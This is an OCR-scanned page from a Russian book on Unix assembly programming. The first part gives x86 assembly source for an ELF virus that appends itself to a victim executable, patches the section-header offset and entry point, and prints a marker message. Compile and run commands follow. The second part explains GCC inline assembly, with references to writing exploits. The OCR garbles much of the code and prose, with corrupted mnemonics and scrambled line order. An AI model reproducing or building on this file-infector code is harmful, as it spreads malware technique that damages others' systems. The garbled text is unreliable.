Анимация
JavaScript


Главная  Библионтека 

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 [ 48 ] 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88

xorl raovl int crapl jae movl looper: -pushl movl raovl call pushl raovl raovl raovl call popl popl loop

%ecx, %ecx $0x13, %eax $0x80 $0xfffff001, %eax errorl

oldpoint, %ecx %ecx

$buffer, %ecx $0x1, %edx f read %ebx

tmphandle, %ebx $buffer, %ecx $0x1, %edx fwrite %ebx %ecx looper

точка входа поиск в файле

запись тела от начала к концу

%еЬх tmphandle, %ebx $bodystart, %есх $ (bodyend-bodystart), %edx fwrite %ebx

%ecx

%ecx

$buffer, %ecx $0x1, ledx f read %ebx

tmphandle, %ebx

$buffer, %ecx

$0x1, %edx

fwrite

%ebx

%ecx

looper2

fclose

pushl raovl raovl raovl call popl добавляем popl looper2: pushl raovl movl call pushl raovl raovl raovl call popl popl loop call

ставим новое смещение секции таблицы заголовков raovl traphandle, %ebx

raovl $0x20, %ecx

xorl ledx, %edx

call fseek

raovl $newshoff, %ecx

raovl $0x4, %edx

call fread

addl $(bodyend-bodystart) , newshoff

raovl $0x20, %ecx

xorl %edx, %edx

call fseek

movl $newshoff, %ecx

raovl $0x4, %edx

call fwrite

новая точка входа

raovl $0x18, %ecx

xorl

%edx, %edx

call

fseek

addl

$0x08048000, oldpoint

raovl

$oldpoint, %ecx

raovl

$0x4, %edx

call .

fwrite

addl

$(bodyend-bodystart),

raovl

symtpos, %ecx

xorl

ledx, %edx

call

fseek

addl

$(bodyend-bodystart),

subl

$0x08048000, oldpoint

raovl

$oldpoint, %ecx

movl

$0x4, %edx

call

fwrite

syratpos

oldpoint

закрываем файлы close:

call

jrap erro-rl :

xorl

raovl

raovl

call

fclose ne

%ebx, %ebx $message, %ecx $0x5, %edx fwrite

xorl raovl int

bodystart: call

get ip: popl subl movl raovl addl xorl raovl int movl addl movl call

address ;

.long 0

shere;

.string "

bodyend:

error:

crapl

fread: raovl int call

*ebx, %ebx stdout

$0x1, %eax

$0x80

get ip

lebp

$0x5, %ebp $Oxa, ledx

$(shere-bodystart), %ecx

%ebp, %ecx

%ebx, %ebx

$0x4, %eax

$0x80

$ (address-bodystart), %ebx %ebp, %ebx (%ebx), %eax *%eax

Im here!\n

$0xfffff001, %eax errorl

$0x03, %eax

$0x80

error



fwrite :

movl

$0x04, %eax

$0x80

call

error

fopen:

movl

$0x05, %eax

$0x80

call

error

fclose:

movl

$0x06, %eax

$0x80

call

error

fseek:

movl

$0x13, %eax

$0x80

call

error

профаммы, на которой это все можно

.global start

start:

movl

$endstring, %edx

movl

$message, %ecx

xorl

%ebx, %ebx

movl

$0x4, %eax

$0x80

movl

$0x1, leax

xorl

%ebx, %ebx

$0x80

message:

.string "Oh

no ! Why me?!\n"

endstring=.-

-message

Компиляция:

$ as -s victim.s -о victim.о $ Id -s victim.о -о victim

$ as -s vir.s -o vir $ Id -s vir.о -о vir

Запуск профаммы (на экране появится следующее):

$ ./victim Oh, no! Why me?! $ ./infector

$ ./infectvictim Im here !

Oh, no! Why me?!

413. Использование Inline-ассемблерных вставок

при использовании inline ассемблера при написании профамм под Unix-системы ачивается возможность легкого портирования приложений на другие архитектуры, так как в этом случае нужны знания ассемблера используемых процессоров. Однако иногда появляется необходимость в ислользовании одновременно двух языков для написания профамм - С и Ассемблера. Для таких случаев компилятор GCC поддерживает встраиваемые ассемблерные инструкции. Существует несколько вариантов (с использованием дополнительных параметров и без):

а использование инструкций inline ассемблера в теле профаммы,

щ использование инструкций ассемблера в качестве параметров к функции asm().

В последнем случае не нужно никаких специфических знаний inline-ассемблера, так как в качестве параметра используется обычный текст профаммы (здесь имеется в виду, что используется только первый параметр к функции, оставшиеся, необходимые уже как mline-ассемблер, не используются).

Мы уже использовали такой вариант ассемблера, когда нам нужно было получить указатель вершины стека для написания exploit:

get sp(void) !

asm ("movl %esp,%eax");

В данном примере мы использовали только первый параметр к функции asm(). В слу чае нескольких параметров последние разделяются двоеточием:

asm( assembler template

:output operands (optional)

:input operands (optional)

.list of clobbered registers (optional)

Здесь в качестве первого параметра - ассемблерные инструкции, второй - выходны операнды, третий - входные операнды, четвертый - те регистры, которые могут быт изменены в поле assembler template и не должны быть изменены компилятором.

В качестве параметров со второго по четвертый необходимо использовать следук Чую таблицу:

(ЕАХ, EBX, ЕСХ, EDX, ESI, EDI, EBP, ESP)

(EAX, EBX, ECX, EDX)

Floating-point



t Тор floating-point

и Second-from-top floating-point

а ЕАХ

b ЕВХ

с ЕСХ

d EDX

X SSE register (Streaming SIMD Extension)

у MMX multimedia

A An 8-byte value formed from EAX and EDX

D EDI

S ESI

Самый простой пример Inline-ассемблера:


int a=10,b; asm("movl %1,

%%eax;

movl %%eax, %0;"

:"=r"(b) выходной параметр

:"r"(a) входной параметр

:"%eax" регистр (см. ниже)

В этом примере мы приравниваем переменную b к переменной а, используя встр: ваемый ассемблер. Здесь Ь - выходной операнд, описанный номером регистра %0,; входной операнд, описанный номером регистра %1, г - принудительная конструкщи. заставляющая gcc считать, что переменные а и b должны храниться в регистрах, = перед использованием такой конструкции говорит о том, что это выходной параметр и он также должен храниться в регистре.

Чтобы отличить передаваемые входящие/выходящие операнды (описываются как % и номер операнда) от регистра %еах, последний должен выглядеть как %%еах.

Указывая в качестве четвертого параметра в функции asm регистр %еах, мы говорим компилятору GCC, что данный регистр уже используется в секции assembler template и не стоит его модифицировать при компиляции.

movl %1, %%еах помещает переменную а в регистр % еах. movl %%еах,%0 помещает значение из % е а х в переменную b.

После того, как asm будет выполнена, в переменной b будет находиться новое значение, так как эта переменная была указана в качестве выходного параметра. Иначе говоря все изменения переменных внутри asm сохраняются и после исполнения функции.

Подробнее о полях asm.

Assembler template. В этом поле находится ассемблерная функция или набор функ-й которые следует использовать в профамме на языке С. Этот набор инструкций 1Уючается в двойные кавычки, при этом инструкции должны быть отделены друг от "vra. В качестве разделителя можно использовать как точку с запятой, так и символ овой строки (\п). Стоит заметить, что при компиляции можно создавать ассемблерный Аайл, удобство чтения которого можно повысить, используя знаки табуляции. В этом cjiy4ae следует использовать их до знаков начала новой строки. Инструкции, обращающиеся к переменным, описанным в С-профамме, должны использовать обозначения таких переменных, как было описано ранее: %0, %1...

Компилятор иногда пытается оптимизировать передаваемый ему код. Для того чтобы это-РО не происходило, нужно использовать выражение "volatile". Если компилятор стандарта дМ81 С, то перед и после использования выражений "asm" и "volatile" следует использовать двойное подчеркивание: asm volatile .

Операнды. Главная особенность inline-ассемблера - это возможность использования операндов, описанных еще в С профамме. Всего передаваемых операндов может быть не больще 10. Каждый из них нумеруется, начиная с О, при этом не выделяется, какие операнды входные, какие выходные. В секции, описывающей операнды, может находиться несколько операндов, каждый из которых должен быть обязательно отделен от других запятой.

Работа с памятью. В рассмотренных примерах для хранения операндов в регистрах использовался описатель г. Для того чтобы хранить данные в памяти, используется описатель т:

sidt %0\n"

"m"(loc) )

Использование памяти для хранения операндов в inline-ассемблере используется редко. Скорее, для того, чтобы не использовать регистры, что порой достаточно важно при написании exploit-профамм.

Совпадение. Сразу рассмотрим пример:

asm("incl %0"

(var)

>0"

В данном случае используется пока не известный нам описатель "О". Причем его правильнее назвать не описателем, а "принудителем". В качестве первого операнда используется выходная переменная var. Ее порядковый номер %0. В качестве входной переменной используется та же переменная, указав "принудителем" "О", мы заставляем GCC использовать в качестве хранящего регистра тот регистр %еах, что и для выходного операнда, что позволяет сэкономить используемые ресурсы и увеличить быстродействие (в архитектуре IA386 все операции с регистром еах осуществляются быстрее, нежели с другими регистрами).



0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 [ 48 ] 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88